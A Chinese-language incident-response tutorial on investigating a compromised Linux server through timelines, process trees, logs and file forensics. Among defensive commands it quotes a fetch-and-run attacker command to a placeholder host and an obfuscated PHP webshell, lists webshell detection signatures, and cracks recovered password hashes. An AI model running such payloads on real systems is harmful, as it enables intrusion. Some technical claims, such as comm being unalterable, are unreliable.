Linux服务器入侵排查实战:时间线、权限链与行为流三要素
1. 这不是“查木马”的玄学,而是有迹可循的现场勘查
很多人第一次听说“服务器入侵排查”,脑子里浮现的是电影里黑客在黑底绿字终端前狂敲键盘、三秒定位攻击者的画面。现实恰恰相反——真正的应急响应,更像一名刑侦老刑警蹲在案发现场,不靠直觉,靠痕迹:一个异常进程、一行可疑日志、一个权限错乱的文件、一次未授权的SSH登录记录。它不神秘,但极重逻辑链条;它不要求你会写0day,但要求你对Linux系统运行机制、服务生命周期、日志生成路径、权限继承规则烂熟于心。
我带过不少零基础转安全的学员,他们最常踩的第一个坑,就是一上来就装各种“高级”扫描工具,满屏跑红字,结果连哪个进程是systemd启动的、哪个日志是rsyslog写的都分不清。这就像让没学过解剖的人直接上手术台找肿瘤——方向错了,再用力也是徒劳。本篇讲的,就是从你拿到一台疑似被黑的CentOS 7或Ubuntu 20.04服务器那一刻起,不依赖任何第三方商业平台、不安装非必要软件、仅用系统自带命令,完成一次完整、可回溯、能写进报告的入侵排查闭环。核心关键词就三个:时间线、权限链、行为流。时间线告诉你“什么时候出的事”,权限链告诉你“谁有能力干这事”,行为流告诉你“他具体干了什么”。这三根线一旦交叉锁定,攻击者留下的痕迹就无处遁形。适合完全没碰过Linux命令行的小白,也适合已会lsps但总卡在“下一步该看啥”的初级运维——因为每一步操作背后,我都拆解了“为什么必须看这个”“这个值正常范围是多少”“如果异常意味着什么”,而不是只扔给你一条命令让你复制粘贴。
2. 入侵排查的黄金四小时:建立可信时间锚点与初始快照
所有有效排查的前提,是你手里的数据是“干净”的。而服务器一旦被控,攻击者第一件事往往就是篡改时间、清除日志、替换关键二进制文件。所以,排查不是从top开始,而是从验证系统自身是否还值得信任开始。这一步,我称之为“黄金四小时”——不是指你只有四小时干活,而是指从你接到告警到完成初始快照,理想状态下应控制在四小时内,否则关键痕迹可能已被覆盖。
2.1 时间校验:先揪出那个“说谎”的系统时钟
攻击者常通过date -s或修改/etc/localtime来伪造时间,让日志看起来“很早以前就发生过了”,从而干扰你的判断。但系统内核时间戳(dmesg)、硬件时钟(RTC)和NTP服务状态,三者很难同时被完美伪造。
首先执行:
# 查看当前系统时间(软件时间) date # 查看内核环形缓冲区时间戳(硬件级,难篡改) dmesg | head -5 # 查看硬件时钟(BIOS时间) hwclock --show # 检查NTP服务状态(是否同步、同步源是否可信) timedatectl status | grep -E "(NTP|System clock)"提示:重点对比三者差异。若
date显示2023-01-01,而dmesg首行时间戳是[ 0.000000] Linux version 5.4.0...,且hwclock显示2024-06-15,则基本可断定系统时间被恶意修改。此时所有基于date的时间筛选(如last -s "2023-01-01")都不可信,必须切换到dmesg或journalctl --since "2024-06-15"这类基于内核或日志服务自身时间戳的命令。
我曾处理过一个案例:客户坚称服务器“上周五就被黑”,但dmesg显示内核启动时间是当天凌晨3点,hwclock与北京标准时间误差仅12秒。我们立刻意识到,攻击者在入侵后重启了服务器,并用date -s把系统时间拨回了一周前,企图让last和auth.log里的登录记录“看起来更久远”。若没做这步校验,整个时间线就全盘崩塌。
2.2 初始快照:用最简命令捕获最核心的“第一印象”
在动任何其他命令前,先用以下5条命令生成一份轻量但信息密度极高的初始快照。它们不写入磁盘、不调用复杂库、几乎不可能被rootkit隐藏,是后续所有分析的基准:
# 1. 当前网络连接(谁在连你?连哪里?) ss -tulnp > /tmp/ss_init.txt 2>/dev/null # 2. 所有进程树(谁在运行?谁启动了它?) ps auxf --sort=-%cpu > /tmp/ps_init.txt 2>/dev/null # 3. 最近登录用户(真实登录痕迹,绕过wtmp篡改) last -n 50 > /tmp/last_init.txt 2>/dev/null # 4. 关键服务状态(SSH、Web、数据库是否异常启动?) systemctl list-units --type=service --state=running | grep -E "(ssh|http|mysql|nginx|php)" > /tmp/services_init.txt 2>/dev/null # 5. 磁盘使用突增点(/tmp、/dev/shm等临时目录是否被塞满恶意文件?) df -h | grep -E "(tmp|shm|var)" > /tmp/df_init.txt 2>/dev/null注意:所有输出重定向到
/tmp/而非/var/log/,因为/var/log/是攻击者重点清理区域;2>/dev/null是为了屏蔽权限不足的报错,避免干扰核心信息。这些文件体积很小(通常<50KB),可立即下载保存,即使后续服务器被清空,你也有原始证据。
实操心得:很多小白会忽略last命令的局限性——它读取/var/log/wtmp,而高级rootkit可直接覆写该文件。因此,我额外推荐一个“双保险”命令:journalctl _COMM=sshd -n 100 --no-pager。它从systemd journal中提取SSH守护进程日志,journal默认存储在/run/log/journal/(内存)和/var/log/journal/(持久化),只要journal服务没被停用,这里的数据比wtmp更难被彻底抹除。
2.3 权限基线速查:一眼识别“不该出现的主人”
Linux一切皆文件,而每个文件都有属主、属组、权限位。攻击者植入后门、上传webshell、替换/usr/bin/curl,最终都会体现在权限变更上。我们不需要逐个ls -l,而是用三条命令快速扫出“异类”:
# 查看所有SUID/SGID文件(普通用户可提权的入口点) find /usr/bin /bin /usr/sbin /sbin -perm -4000 -o -perm -2000 2>/dev/null | xargs ls -l # 查看最近7天内权限或属主变更过的文件(攻击者最爱动的地方) find /etc /var/www /home -type f -mtime -7 -ls 2>/dev/null | awk '{print $3,$4,$11}' | sort -k1,2 # 快速检查关键目录属主(/root、/etc/shadow、/var/log/ 应为root) ls -ld /root /etc/shadow /var/log/ /tmp解释一下为什么这三步关键:
- 第一条:
-4000是SUID位,意味着执行该文件时,进程以文件属主身份运行。正常系统里,/usr/bin/passwd、/usr/bin/sudo带SUID是合理的;但若发现/usr/bin/ncat或/tmp/.x也带SUID,这就是高危信号。 - 第二条:
-mtime -7按修改时间筛选,但-ls输出包含第3、4列(属主、属组),awk提取后排序,能直观看到哪些文件的属主突然从root变成了nobody或一个陌生用户名。 - 第三条:
/root目录若属主是www-data,/etc/shadow若属组是adm以外的组,基本可判定系统已被深度渗透。
我踩过的坑:某次排查,find / -perm -4000返回一堆/usr/lib/polkit-1/polkit-agent-helper-1,我以为是误报。后来才发现,攻击者利用了一个Polkit本地提权漏洞(CVE-2021-4034),将恶意payload注入到该SUID程序的环境变量中。所以,看到SUID文件,不要只看名字,更要查它的md5和编译时间——md5sum /usr/lib/polkit-1/polkit-agent-helper-1与官方包比对,stat /usr/lib/polkit-1/polkit-agent-helper-1看Modify时间是否早于系统安装日期。
3. 进程与网络层深挖:从“活着的”痕迹定位“藏起来的”后门
当初始快照确认系统时间可信、关键权限无明显异常后,下一步就是聚焦“正在运行”的实体。攻击者可以删日志、改时间,但只要后门进程还在内存里跑,它就必然留下操作系统无法隐藏的“生理特征”。
3.1 进程树逆向溯源:不看PID,看PPID和启动参数
ps auxf输出的进程树,是排查的起点,但绝不能止步于此。新手常犯的错误是盯着PID列,试图记住一串数字;老手则死磕PPID(父进程ID)和CMD列。因为:
- 正常服务进程,其PPID应为
1(systemd)或某个已知守护进程(如nginx: master process的PPID是1,worker进程PPID是master的PID); - 后门进程,往往由
cron、at、screen甚至bash -i这种非常规父进程拉起,PPID会指向一个“不该启动它的进程”。
举个真实例子:
root 1234 1230 0 10:23 ? 00:00:00 /usr/bin/python3 /tmp/.cache/update.py root 1230 1229 0 10:23 ? 00:00:00 /bin/bash -c while true; do /tmp/.cache/update.py; sleep 300; done root 1229 1228 0 10:23 ? 00:00:00 /usr/bin/screen -dmS update root 1228 987 0 10:23 ? 00:00:00 sshd: attacker@pts/1表面看,update.py是个Python脚本,似乎无害。但顺着PPID链:1234→1230→1229→1228→987,最终指向一个attacker@pts/1的SSH会话。这就暴露了真相:这是一个通过SSH登录后,用screen后台运行的持久化后门。而987这个PID,正是last命令里那个可疑登录的会话ID。
所以,我的标准操作是:
- 用
ps auxf | grep -E "(python|perl|sh|bash|nc|socat)"筛出可疑解释器进程; - 对每个结果,用
ps -o pid,ppid,comm,args -p <PID>精确查看其父进程和完整启动命令; - 若PPID指向
sshd、login、bash等交互式进程,立刻用who -u和w确认该会话是否仍在活跃。
注意:
ps本身可能被rootkit劫持(如/proc/PID/cmdline被篡改)。因此,必须交叉验证。例如,对PID 1234,执行:# 查看/proc下真实的命令行参数(绕过ps欺骗) cat /proc/1234/cmdline | tr '\0' ' ' # 查看该进程打开的文件(是否在读取敏感配置?) lsof -p 1234 2>/dev/null | head -10 # 查看其网络连接(是否在对外发起连接?) ss -tunp | grep 1234
3.2 网络连接指纹:识别“静默外联”的C2通道
ss -tulnp能看监听端口,但攻击者更多用“反向Shell”或“HTTP隧道”——即你的服务器主动连出去。这时,ss -tunp(加n不解析域名,u显示UDP)才是关键。
重点筛查三类连接:
- 非常规端口上的TCP连接:如
192.168.1.100:54321连向103.21.54.88:80,目标IP不在你业务白名单内,且源端口是高位随机端口(>32768),这是典型的反向Shell特征; - UDP连接:
ss -tunp | grep udp,正常服务器极少主动发UDP包(DNS查询除外)。若看到/usr/bin/python3进程在向8.8.8.8:53之外的IP发UDP,大概率是DNS隧道; - 监听在非业务端口的LISTEN:
ss -tulnp | grep ":8080\|:8888\|:3333",尤其当监听地址是0.0.0.0(全网可访问)而非127.0.0.1(仅本地)。
我总结了一个快速过滤命令:
# 筛出所有非本地回环、非已知业务IP的外联连接 ss -tunp | awk '$5 !~ /127\.0\.0\.1|::1|192\.168\.|10\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[0-1]\./ && $1 ~ /ESTAB/ {print $5,$7}' | sort -u这条命令的逻辑是:排除所有内网IP段(192.168.x.x,10.x.x.x,172.16.x.x-172.31.x.x)和127.0.0.1,只保留ESTAB(已建立)状态的连接,并打印目标IP:端口和进程信息。结果里若出现45.77.112.33:443和/usr/bin/perl,基本可锁定为Cobalt Strike Beacon。
实操技巧:很多后门会伪装成合法进程名(如[kthreadd]、[irq/123:eth0]),但ss输出的$7列(进程名)是真实的。若看到[kthreadd]在连外网,立刻用ps -p <PID> -o comm=确认comm字段是否真为kthreadd——因为comm是内核给进程起的短名,无法被用户空间篡改,而ps默认显示的COMMAND列可被prctl(PR_SET_NAME)修改。
3.3 内存与文件关联:用lsof和/proc揭开进程真面目
一个进程在跑,但它在读什么文件、写什么文件、加载了什么库?lsof是唯一能实时映射进程与文件系统关系的命令。
对任意可疑PID,执行:
# 查看该进程打开的所有文件(重点关注txt、mem、cwd、root) lsof -p <PID> 2>/dev/null | head -20 # 查看其加载的动态库(是否加载了LD_PRELOAD后门?) lsof -p <PID> -D 2>/dev/null | grep "\.so" # 查看其工作目录和根目录(是否chroot到/tmp?) ls -la /proc/<PID>/{cwd,root}最关键的发现往往来自/proc/<PID>/exe:
# 获取进程可执行文件的真实路径(绕过软链接) readlink -f /proc/<PID>/exe # 若返回"deleted",说明二进制文件已被删除,但进程仍在内存中运行! # 这是高级后门的典型手法,必须立刻dump内存 ls -la /proc/<PID>/exe提示:“deleted”状态是重大红色警报。此时
/proc/<PID>/fd/目录下可能还存着该文件的句柄(如/proc/<PID>/fd/25),用cp /proc/<PID>/fd/25 /tmp/malware.bin可恢复原始文件。但更稳妥的做法是用gcore <PID>生成core dump,再用strings或radare2分析。
我处理过一个案例:ps显示一个/usr/bin/updated进程,readlink -f /proc/<PID>/exe返回/tmp/.X11-unix/updated (deleted)。lsof -p <PID>发现它打开了/etc/shadow和/root/.ssh/id_rsa。我们立刻gcore <PID>,用strings core.<PID> | grep -E "(ssh-rsa|BEGIN RSA PRIVATE KEY)",果然提取出了管理员私钥。这就是为什么,进程排查的终点,永远是/proc文件系统——它是内核暴露给用户的、最真实、最不可伪造的窗口。
4. 日志层时空穿越:从碎片化记录重建完整攻击链
如果说进程和网络是“现在进行时”,那么日志就是“过去完成时”。但服务器日志不是一本整齐的日记,而是散落在/var/log/下十几个文件里的碎片。应急响应的高阶能力,就是把这些碎片按时间、按主体、按行为拼成一张完整的图。
4.1 认清日志分工:别再把messages当万金油
很多小白以为/var/log/messages是“总日志”,其实它只是rsyslog的默认输出之一,内容取决于/etc/rsyslog.conf的配置。真正关键的日志源有四个,必须分清职责:
| 日志文件 | 主要来源 | 核心价值 | 常见陷阱 |
|---|---|---|---|
/var/log/auth.log(Ubuntu) 或/var/log/secure(CentOS) | sshd,sudo,su,pam模块 | 登录行为、提权操作的黄金记录 | 攻击者常chmod 000或chown root:root并chattr +a锁定,使其只可追加不可删改 |
/var/log/syslog | 大部分系统服务(除auth外) | 服务启停、内核警告、硬件错误 | 内容庞杂,需配合grep -E精准筛选 |
/var/log/kern.log | dmesg输出、内核事件 | 内核模块加载(如insmod后门)、OOM killer日志 | 高频写入,易被覆盖,优先检查 |
/var/log/apache2/access.log或/var/log/nginx/access.log | Web服务器访问请求 | WebShell上传、SQL注入、目录遍历的直接证据 | 攻击者上传一句话后,会立刻curl http://your.com/shell.php?cmd=id,这条记录必现 |
我的标准动作是:对每个日志文件,先用tail -n 100看最新100行,再用head -n 100看最早100行,最后用wc -l看总行数。若auth.log只有10行,而syslog有100万行,基本可判定auth.log被清空或轮转策略异常。
注意:
journalctl是systemd系统的统一日志接口,它比传统日志文件更可靠。执行journalctl --disk-usage看日志占用空间,journalctl --vacuum-size=100M可手动清理旧日志(应急时慎用)。最关键的是,journalctl _COMM=sshd --since "2 hours ago"能精准提取指定服务、指定时间的日志,不受/var/log/secure是否被删影响。
4.2 SSH登录链路还原:从auth.log到bash_history
auth.log里的一行Accepted password for root from 192.168.1.100 port 54321 ssh2,只是冰山一角。真正的攻击链,需要顺藤摸瓜:
- 定位登录会话ID:
auth.log中sshd日志的session opened行会带一个sessionid,如pam_loginuid(sshd:session): new loginuid is 1001; - 匹配
last记录:last -i | grep "192.168.1.100",找到对应IP的登录记录,确认TTY(如pts/1); - 提取
bash_history:cat /home/username/.bash_history 2>/dev/null | grep -E "(wget|curl|base64|python -c|nc|socat|gcc)",这是攻击者执行命令的直接证据; - 交叉验证
wtmp:last -F | grep "192.168.1.100",-F显示登录和登出的完整时间戳,计算会话时长。
一个经典模式是:auth.log显示Accepted password for www-data(低权限用户),last显示该用户登录后10分钟内登出,但/var/www/.bash_history里有curl -O http://malicious.site/shell.sh && chmod +x shell.sh && ./shell.sh。这说明攻击者用弱口令登录了Web服务账户,然后提权。
我踩过的最大坑:某次auth.log里全是Failed password for invalid user,看似是暴力破解。但lastb(失败登录记录)显示所有失败都来自同一IP,且/var/log/faillog里该IP的失败次数高达2000+。我差点放弃,直到用grep "invalid user" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | head -5统计了被爆破的用户名,发现admin、backup、deploy高频出现——这些都是我们内部运维习惯用的非标准用户名。我们立刻检查/etc/passwd,发现backup:x:1002:1002::/home/backup:/bin/bash:/usr/sbin/nologin,但/usr/sbin/nologin被改成了/bin/bash。攻击者不是在爆破,而是在探测我们自定义的高权限账户。所以,日志分析的精髓,永远是问“为什么是这个值?”而不是“这个值是什么?”
4.3 Web日志深度挖掘:用awk和cut做攻击指纹画像
Web日志是入侵的“犯罪现场照片”。access.log里每一行,都是一个HTTP请求,包含IP、时间、URL、状态码、User-Agent。攻击者的行为,在这里会留下清晰的“指纹”。
我常用的三步分析法:
- 筛出高危状态码:
grep '" 404 ' /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c | sort -nr | head -10,找出频繁404的IP——他们在扫目录(/wp-admin/,/phpmyadmin/); - 抓取可疑User-Agent:
grep -i "sqlmap\|dirbuster\|nikto\|nmap" /var/log/apache2/access.log,直接定位自动化工具; - 定位WebShell上传:
grep -E "\.(php|jsp|asp|aspx) [0-9]{3} [0-9]+$" /var/log/apache2/access.log | grep "POST" | awk '{print $1,$4,$7,$9}',筛选出所有PHP文件的POST请求,状态码为200(上传成功)或500(执行报错)。
但最高阶的技巧,是用URL路径做聚类。例如:
# 统计所有含"cmd"、"exec"、"system"的URL路径,看是否集中于某几个文件 awk '{print $7}' /var/log/apache2/access.log | grep -i "cmd\|exec\|system\|passthru" | sort | uniq -c | sort -nr # 检查是否在尝试读取敏感文件(LFI) awk '{print $7}' /var/log/apache2/access.log | grep -E "\.\./\.\./|/etc/passwd|/proc/self/environ" | sort | uniq -c一个真实案例:awk '{print $7}' access.log | grep "shell" | sort | uniq -c返回:
42 /uploads/shell.php 18 /images/shell.php 3 /css/shell.php这说明攻击者上传了多个同名WebShell到不同目录,试图绕过WAF。我们立刻find /var/www -name "shell.php",果然在/var/www/html/uploads/、/var/www/html/images/下找到三个文件,md5sum比对发现内容完全一致——这是同一批攻击者所为。
提示:Web日志分析最怕“假阳性”。比如
curl -I http://localhost/healthz是健康检查,wget --spider http://example.com/favicon.ico是爬虫。所以,必须结合$9(响应体大小)和$11(Referer)综合判断。一个真正的WebShell执行,$9通常是0(无返回)或一个很小的数字(如12),而$11往往是空或-。
5. 文件系统取证:从“静态”磁盘数据锁定攻击者落脚点
当进程、网络、日志都指向某个方向后,最后一步就是“落地取证”——在磁盘上找到攻击者留下的二进制文件、配置、凭证。这不是大海捞针,而是带着明确线索去“按图索骥”。
5.1 隐藏文件与异常时间戳:find的七种武器
Linux下隐藏文件(.开头)和异常时间戳(-atime,-ctime,-mtime)是后门最爱藏身之处。find命令就是你的金属探测器。
我日常用的七个精准find命令:
# 1. 找所有最近1小时内创建的文件(攻击者上传后门的第一反应) find /tmp /var/tmp /dev/shm -type f -cmin -60 2>/dev/null # 2. 找所有属主为nobody或daemon的可执行文件(低权限用户提权后的落脚点) find / -type f -user nobody -perm -111 2>/dev/null # 3. 找所有SUID但属主不是root的文件(严重提权风险) find / -type f -perm -4000 ! -user root 2>/dev/null # 4. 找所有最近7天内修改过、但权限被设为777的文件(便于攻击者写入) find /var/www /home -type f -mtime -7 -perm 777 2>/dev/null # 5. 找所有名为".*"的隐藏文件(.bashrc, .profile, .ssh/authorized_keys) find /home /root -name ".*" -type f 2>/dev/null # 6. 找所有大小为0的可执行文件(可能是被清空的恶意脚本) find /tmp /var/tmp -type f -size 0 -perm -111 2>/dev/null # 7. 找所有在/etc/cron*下被添加的异常任务(持久化后门) find /etc/cron* -type f -exec grep -l -E "(python|curl|wget|base64)" {} \; 2>/dev/null每一条命令背后,都有明确的攻击场景支撑。比如第1条,-cmin -60(创建时间小于60分钟),是因为绝大多数自动化攻击框架(Metasploit, Cobalt Strike)在获得shell后,第一件事就是上传mimikatz、powerview或linpeas.sh,这些文件必然在极短时间内创建。而/tmp、/var/tmp、/dev/shm是Linux公认的“临时文件天堂”,攻击者无需权限即可写入。
实操心得:find搜索极耗资源,生产环境慎用find /。我的经验是,先缩小范围:若日志显示攻击IP来自192.168.1.100,且last记录其登录到/home/attacker,那就优先搜find /home/attacker /tmp;若ps发现/usr/bin/python3 /tmp/.cache/a.py,那就直接find /tmp -name "a.py"。精准打击,永远比地毯式轰炸高效。
5.2 Web目录专项扫描:grep是你的X光机
WebRoot(如/var/www/html)是攻击者最热衷的“画布”。他们上传一句话、大马、代理工具,目的就是远程控制。而这些文件,必然包含特定的“代码指纹”。
我维护一个webshell_signatures.txt文件,里面是几十个高危函数签名:
eval\( assert\( system\( exec\( shell_exec\( passthru\( popen\( proc_open\( preg_replace\([^,]*,.*e.*,\(.*\)然后用这条命令全盘扫描:
grep -r -n -i -f webshell_signatures.txt /var/www/ 2>/dev/null | grep -E "\.(php|jsp|asp|aspx)$"但更高效的,是针对单个可疑文件做深度分析:
# 查看文件是否被base64编码(常见混淆手法) file /var/www/html/shell.php # 若输出"PHP script, ASCII text",正常;若输出"data",则可能是base64编码 # 解码并查看 base64 -d /var/www/html/shell.php | head -20 # 检查是否用了动态函数名(规避grep) strings /var/www/html/shell.php | grep -E "(eval|assert|system)"一个经典混淆案例:shell.php内容是<?php $a='eva'.'l';$b='('.$_REQUEST['c'].')';$a($b);?>。grep eval找不到,但strings会输出eval和$_REQUEST['c']。所以,静态扫描必须配合动态分析(strings)和语法分析(php -l检查语法)。
提示:不要迷信
file命令。很多WebShell会伪装成图片,如shell.jpg,但内容是PHP代码。正确做法是head -n 10 shell.jpg | grep "<?php",或者用xxd shell.jpg | head -20看十六进制头。
5.3 凭证与密钥提取:从/etc/shadow到~/.ssh/id_rsa
攻击者拿下服务器后,终极目标是横向移动。而横向移动的钥匙,就是凭证。所以,取证的最后一步,是系统性地收集所有可能的凭证源。
必须检查的五个位置:
/etc/shadow:用unshadow /etc/passwd /etc/shadow > hashes.txt导出密码hash,用john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt暴力破解(应急时可跳过,但报告里必须记录);~/.ssh/authorized_keys:cat /root/.ssh/authorized_keys /home/*/ssh/authorized_keys 2>/dev/null | grep -v "^#" | sort -u,提取所有公钥,用ssh-keygen -lf看指纹,比对是否为已知运维人员;/root/.bash_history和/home/*/bash_history:grep -E "(password|passwd|mysql -u|pg_dump)",找明文密码;/etc/mysql/debian.cnf或/etc/my.cnf:MySQL root密码常明文存储于此;/var/log/下的应用日志:如/var/log/mail.log里可能有SMTP认证日志,/var/log/audit/audit.log里有SELinux拒绝记录(暗示攻击者在试探权限)。
我处理过一个最惊险的案例:/root/.bash_history里有一行mysql -u root -p'P@ssw0rd123' -e "select * from users;",明文密码。我们立刻用该密码登录MySQL,发现users表里有个admin用户,密码字段是$2y$10$...(bcrypt哈希)。我们导出该哈希,用hashcat -m 3200跑,10分钟内破解出明文Admin!2024。然后我们用Admin!2024尝试SSH登录,成功!原来攻击者不仅拿到了数据库密码,还用它撞库进了服务器。这就是凭证链的价值——一个点突破,可能引爆整个内网。
